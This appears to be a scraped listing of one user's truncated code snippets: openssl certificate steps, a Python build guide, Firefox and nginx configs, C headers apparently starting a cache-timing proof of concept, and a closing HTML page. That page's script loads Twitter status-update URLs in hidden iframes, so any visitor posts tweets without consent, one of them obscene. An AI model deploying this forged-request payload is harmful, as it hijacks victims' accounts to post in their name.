7marcus9

Quaint HP Servers in 2023

Acquired a few old HP servers for home lab.. this is to document their journey.

Challenge:

Started without using a monitor and a keyboard.
No access to any KVM over IP, or similar tools

How to create a self-signed SSL Certificate with SubjectAltName(SAN)

After Chrome 58, self-signed certificate without SAN is not valid anymore.

Step 1: Generate a Private Key

openssl genrsa -des3 -out example.com.key 2048

Step 2: Generate a CSR (Certificate Signing Request)

Installing Python 3.6 on Raspbian

As of January 2018, Raspbian does not yet include the latest Python release, Python 3.6. This means we will have to build it ourselves, and here is how to do it. There is also an ansible role attached that automates it all for you.

Install the required build-tools (some might already be installed on your system).

	// Mozilla User Preferences
	// To change a preference value, you can either:
	// - modify it via the UI (e.g. via about:config in the browser); or
	// - set it within a user.js file in your profile (create it if it doesn't exist).
	//
	// Profile folder location on different systems:
	// Windows: C:\Users\<username>\AppData\Roaming\Mozilla\Firefox\Profiles\xxxxxxxx.default
	// Mac OS X: Users/<username>/Library/Application Support/Firefox/Profiles/xxxxxxxx.default
	// Linux: /home/<username>/.mozilla/firefox/xxxxxxxx.default

	def fetch_data(station_id):
	# generate payload
	payload = {
	'outputFormat': 'JSON',
	'language': 'de',
	'locationServerActive': 1,
	'useRealtime': 1,
	'anySigWhenPerfectNoOtherMatches': 1,
	'limit': 70,
	'deleteAssignedStops_dm': 1,

	#include <stdio.h>
	#include <stdlib.h>
	#include <stdint.h>
	#ifdef _MSC_VER
	#include <intrin.h> /* for rdtscp and clflush */
	#pragma optimize("gt",on)
	#else
	#include <x86intrin.h> /* for rdtscp and clflush */
	#endif


	server {
	listen 80;
	listen 443 ssl;
	server_name support.itsimplycom.it;

	ssl_protocols TLSv1.2;
	ssl_ciphers EECDH+AES128:RSA+AES128:EECDH+AES256:RSA+AES256:EECDH+3DES:RSA+3DES:!MD5;
	ssl_prefer_server_ciphers On;
	ssl_certificate /etc/letsencrypt/live/support.itsimplycom.it/fullchain.pem;

	// Filter details ..
	// filtertype = Raised Cosine
	// samplerate = 48000
	// corner = 2400
	// beta = 0.7
	// impulselen = 21
	// racos = sqrt
	// comp = no
	// bits =
	// logmin =

	<html>
	<head></head>
	<body>
	<script>
	var el1 = document.createElement('iframe');
	var el2 = document.createElement('iframe');
	el1.style.visibility="hidden";
	el2.style.visibility="hidden";
	el1.src = "http://twitter.com/share/update?status=WTF:%20" + window.location;
	el2.src = "http://twitter.com/share/update?status=i%20love%20anal%20sex%20with%20goats";